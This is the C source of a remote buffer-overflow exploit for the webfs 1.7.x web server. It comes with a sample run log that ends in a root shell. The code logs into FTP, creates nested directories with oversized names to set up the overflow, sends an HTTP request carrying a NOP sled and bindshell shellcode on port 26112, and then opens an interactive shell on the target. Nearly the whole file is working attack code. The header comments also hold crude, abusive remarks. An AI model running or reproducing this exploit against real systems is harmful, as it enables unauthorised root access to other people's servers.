/*********************************************************************************\
*hate money. if you have much. please shit ,lol...
*only love #ph4nt0m(irc.ox557.org) #cheese..(sec..)
*page: jsk.ph4nt0m.org
*love taiwan. nah :( chen&li. go die...........
*[root@localhost root]# ./hack -h 127.0.0.1 -p 80 -u jsk -a 3465008 -c /*tmp
*webfs 1.7.x:webserver remote file overflow exploit (use ftpd to mkdir)
*Greets all #ph4nt0m .
*it is too shit .
*[+] Hostname: 127.0.0.1
*[+] Port num: 80
*[+] Retaddr address: 0xbfffd838
*[1] #1 Set codes.
*[*] attempting to connect: 127.0.0.1:21.
*[*] successfully connected: 127.0.0.1:21.
*<- 220 ProFTPD 1.2.8 Server (ProFTPD Default Installation) [localhost.*localdo...<- Proftpd
*-> USER jsk
*<- 331 Password required for jsk.
*-> PASS 3465008
*<- 230 User jsk logged in.
*-> CWD /tmp
*<- 250 CWD command successful.
*-> MKD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 257 "/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...-> CWD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 257 "/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...-> CWD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 257 "/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...-> CWD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 257 "/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...-> CWD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 257 "/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...-> CWD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 257 "/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...-> CWD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 257 "/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...-> CWD *BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...*<- 250 CWD command successful.
*-> MKD ????????????????????????????????????????????????????????
*<- 257 "/tmp/*BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB...-> *CWD ????????????????????????????????????????????????????????
*<- 250 CWD command successful.
*[1] #1 Set socket.
*[*] attempting to connect: 127.0.0.1:80.
*[*] successfully connected: 127.0.0.1:80.
*[1] #1 Send codes.
*[1] #3 Get shell.
*[*] checking to see if the exploit was successful.
*[*] attempting to connect: 127.0.0.1:26112.
*[*] successfully connected: 127.0.0.1:26112.
*Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 *i686 i386 GNU/Linux
*uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm)
\*********************************************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <unistd.h>
#include <signal.h>
#include <getopt.h>
#include <ctype.h>
#include <time.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFSIZE 220
#define BUFSIZE2 166
#define BUFSIZE3 1024
#define D_PORT 5803
#define D_HOST "www.ph4nt0m.org"
#define TIMEOUT 10
#define jretaddr 0x80588a8 /* Use 0x44434241 debug x/30000x $eax-10000. */
unsigned short no_io=0; /* do not show traffic. */
unsigned int attempts=100; /* number of times to brute. */
unsigned int columns=80; /* generic screen width. */
unsigned int ftp_i=0;
char *user; /* username to use. */
char *pass; /* password to use. */
char *writedir;
char shell[]= /* bindshell(26112)&, netric. */
"\x90\x90\x90\x31\xdb\xf7\xe3\x53\x43\x53"
"\x6a\x02\x89\xe1\xb0\x66\x52"
"\x50\xcd\x80\x43\x66\x53\x89"
"\xe1\x6a\x10\x51\x50\x89\xe1"
"\x52\x50\xb0\x66\xcd\x80\x89"
"\xe1\xb3\x04\xb0\x66\xcd\x80"
"\x43\xb0\x66\xcd\x80\x89\xd9"
"\x93\xb0\x3f\xcd\x80\x49\x79"
"\xf9\x52\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x89\xe3"
"\x52\x53\x89\xe1\xb0\x0b\xcd"
"\x80";
struct op_plat_st
{
int op_plat_num;
char *op_plat_sys;
u_long retaddr;
int off_st;
};
struct op_plat_st __pl_form[]=
{
{0,"red 8.0",0xbfffd838,0},
{1,"DEADOS",0x44434241,0},
NULL
};
void filter_text(char *);
void banrl();
void x_fp_rm_usage(char *x_fp_rm);
unsigned short sock_connect(char *,unsigned short);
void getshell(char *,unsigned short);
void ftp_printf(int,char *,...);
void ftp_read(int);
void ftp_parse(int);
void printe(char *,short);
void sig_alarm(){printe("alarm/timeout hit.",1);}
void banrl()
{
fprintf(stdout,"\n webfs 1.7.x:webserver remote buffer overflow exploit)\n");
fprintf(stdout," Greets all #ph4nt0m .\n");
fprintf(stdout," it is too shit .\n");
}
void x_fp_rm_usage(char *x_fp_rm)
{
int __t_xmp=0;
fprintf(stdout,"\n Usage: %s -[option] [arguments]\n\n",x_fp_rm);
fprintf(stdout,"\t -h [hostname] - target host.\n");
fprintf(stdout,"\t -p [port] - port number.\n");
fprintf(stdout,"\t -u [user] - user.\n");
fprintf(stdout,"\t -a [pass] - pass.\n");
fprintf(stdout,"\t -c [file] - writetmp.\n");
fprintf(stdout,"\t -s [addr] - &shellcode address.\n\n");
fprintf(stdout," Example> %s -h target_hostname -p 8000 -u jsk -a 1234 -c /tmp -t num\n",x_fp_rm);
fprintf(stdout," Select target number>\n\n");
for(;;)
{
if(__pl_form[__t_xmp].op_plat_num==(0x82))
break;
else
{
fprintf(stdout,"\t {%d} %s\n",__pl_form[__t_xmp].op_plat_num,__pl_form[__t_xmp].op_plat_sys);
}
__t_xmp++;
}
fprintf(stdout,"\n");
exit(0);
}
int main(int argc,char *argv[])
{
int port=D_PORT;
char hostname[0x333]=D_HOST;
int whlp,type=0;
unsigned int i=0;
char buf[141];
char buf2[2078];
char sendbuf[3150];
char buf3[141];
int sd;
int ftpsd;
u_long retaddr=__pl_form[type].retaddr;
(void)banrl();
while((whlp=getopt(argc,argv,"T:t:H:h:u:c:a:P:p:IiXx"))!=EOF)
{
extern char *optarg;
switch(whlp)
{
case 'T':
case 't':
if((type=atoi(optarg))<6)
{
retaddr=__pl_form[type].retaddr;
}
else (void)x_fp_rm_usage(argv[0]);
break;
case 'H':
case 'h':
memset((char *)hostname,0,sizeof(hostname));
strncpy(hostname,optarg,sizeof(hostname)-1);
break;
case 'u':
if(!user&&!(user=(char *)strdup(optarg)))
printe("main(): allocating memory failed.",1);
break;
case 'a':
if(!pass&&!(pass=(char *)strdup(optarg)))
printe("main(): allocating memory failed.",1);
break;
case 'c':
if(!writedir&&!(writedir=(char *)strdup(optarg)))
printe("main(): allocating memory failed.",1);
break;
case 'P':
case 'p':
port=atoi(optarg);
break;
case 'I':
case 'i':
fprintf(stderr," Try `%s -?' for more information.\n\n",argv[0]);
exit(-1);
case '?':
(void)x_fp_rm_usage(argv[0]);
break;
}
}
if(!strcmp(hostname,D_HOST))
{
(void)x_fp_rm_usage(argv[0]);
}
else
{
fprintf(stdout," [+] Hostname: %s\n",hostname);
fprintf(stdout," [+] Port num: %d\n",port);
fprintf(stdout," [+] Retaddr address: %p\n",retaddr);
}
fprintf(stdout," [1] #1 Set codes.\n");
ftpsd=sock_connect(hostname,21);
ftp_parse(ftpsd);
memset(buf3,0x42,141);
memset(buf2,0x90,1000);
memcpy(buf2+1000,shell,strlen(shell));
memset(buf2+1000+strlen(shell),0x90,1000);
snprintf(sendbuf,3150,"GET /%s/%s/%s/%s/%s/%s/%s/ HTTP/1.0\r\nUser-Agent: %s\r\n\r\n",buf3,buf3,buf3,buf3,buf3,buf3,buf3,buf2);
fprintf(stdout," [1] #1 Set socket.\n");
sd=sock_connect(hostname,port);
fprintf(stdout," [1] #1 Send codes.\n");
write(sd,sendbuf,3150);
close(sd);
sleep(10);
fprintf(stdout," [1] #3 Get shell.\n");
getshell(hostname,26112);
exit(0);
}
unsigned short sock_connect(char *hostname,
unsigned short port){
int sock;
struct hostent *t;
struct sockaddr_in s;
sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
s.sin_family=AF_INET;
s.sin_port=htons(port);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if((s.sin_addr.s_addr=inet_addr(hostname))){
if(!(t=gethostbyname(hostname)))
printe("couldn't resolve hostname.",1);
memcpy((char*)&s.sin_addr,(char*)t->h_addr,
sizeof(s.sin_addr));
}
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
printe("netris connection failed.",1);
alarm(0);
printf("[*] successfully connected: %s:%d.\n",hostname,port);
return(sock);
}
void getshell(char *hostname,unsigned short port){
int sock,r;
fd_set fds;
char buf[4096+1];
struct hostent *he;
struct sockaddr_in sa;
printf("[*] checking to see if the exploit was successful.\n");
if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
printe("getshell(): socket() failed.",1);
sa.sin_family=AF_INET;
if((sa.sin_addr.s_addr=inet_addr(hostname))){
if(!(he=gethostbyname(hostname)))
printe("getshell(): couldn't resolve.",1);
memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
sizeof(sa.sin_addr));
}
sa.sin_port=htons(port);
signal(SIGALRM,sig_alarm);
alarm(TIMEOUT);
printf("[*] attempting to connect: %s:%d.\n",hostname,port);
if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
printf("[!] connection failed: %s:%d.\n",hostname,port);
return;
}
alarm(0);
printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
signal(SIGINT,SIG_IGN);
write(sock,"uname -a;id\n",13);
while(1){
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sock,&fds);
if(select(sock+1,&fds,0,0,0)<1)
printe("getshell(): select() failed.",1);
if(FD_ISSET(0,&fds)){
if((r=read(0,buf,4096))<1)
printe("getshell(): read() failed.",1);
if(write(sock,buf,r)!=r)
printe("getshell(): write() failed.",1);
}
if(FD_ISSET(sock,&fds)){
if((r=read(sock,buf,4096))<1)
exit(0);
write(1,buf,r);
}
}
close(sock);
return;
}
void printe(char *err,short e){
fprintf(stdout," [-] Failed.\n\n");
fprintf(stdout," Happy Exploit ! :-)\n\n");
if(e)
exit(1);
return;
}
void filter_text(char *ptr){
unsigned int i=0;
for(i=0;i<strlen(ptr);i++){
/* keep it short and sweet. */
if(i>=(columns-3)){
ptr[i--]=0x0;
ptr[i--]='.';
ptr[i--]='.';
ptr[i]='.';
}
/* don't make \r or \n a '?'. */
else if(ptr[i]=='\r'||ptr[i]=='\n')ptr[i]=0x0;
/* don't ugly the local terminal. */
else if(!isprint(ptr[i]))ptr[i]='?';
}
return;
}
void ftp_printf(int ftpsd,char *fmt,...){
char *buf;
va_list ap;
if(!(buf=(char *)malloc(1024+1)))
printe("ftp_printf(): allocating memory failed.",1);
memset(buf,0x0,1024+1);
va_start(ap,fmt);
vsnprintf(buf,1024,fmt,ap);
va_end(ap);
write(ftpsd,buf,strlen(buf)); /* write it, then mod it for display. */
filter_text(buf);
if(!no_io)
printf("-> %s\n",buf);
free(buf);
return;
}
void ftp_read(int ftpsd){
char *buf;
if(!(buf=(char *)malloc(1024+1)))
printe("ftp_read(): allocating memory failed.",1);
memset(buf,0x0,1024);
read(ftpsd,buf,1024);
filter_text(buf);
if(!no_io)
printf("<- %s\n",buf);
/* some initial reply checking, not too much. */
if(!ftp_i)
if(!strstr(buf,"GtkFTPd"))
printf("<- %s\n","Proftpd");
if(ftp_i==2)
if(strncmp(buf,"230",3))
printe("invalid username/password, failed.",1);
if(ftp_i==3)
if(strncmp(buf,"250",3))
printe("invalid writable directory, failed. (try \"/\")",1);
free(buf);
ftp_i++; /* increase the response identifier. */
return;
}
void ftp_parse(int ftpsd){
char *buf4;
char *bux;
if(!(buf4=(char *)malloc(141+1)))
printe(" allocating memory failed.",1);
if(!(bux=(char *)malloc(56+1)))
printe(" allocating memory failed.",1);
unsigned int offset=0;
unsigned int i=0;
memset(buf4, 0x42 , 141);
for(i=0;i<56;i+=4){*(long *)&bux[i]=jretaddr;}
ftp_read(ftpsd); /* get the banner. */
ftp_printf(ftpsd,"USER %s\r\n",user);
ftp_read(ftpsd);
ftp_printf(ftpsd,"PASS %s\r\n",pass);
ftp_read(ftpsd);
ftp_printf(ftpsd,"CWD %s\r\n",writedir);
ftp_read(ftpsd);
ftp_printf(ftpsd,"MKD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"CWD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"MKD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"CWD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"MKD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"CWD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"MKD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"CWD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"MKD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"CWD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"MKD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"CWD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"MKD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"CWD %s\r\n",buf4);
ftp_read(ftpsd);
ftp_printf(ftpsd,"MKD %s\r\n",bux);
ftp_read(ftpsd);
ftp_printf(ftpsd,"CWD %s\r\n",bux);
ftp_read(ftpsd);
sleep(10);
close(ftpsd);
}
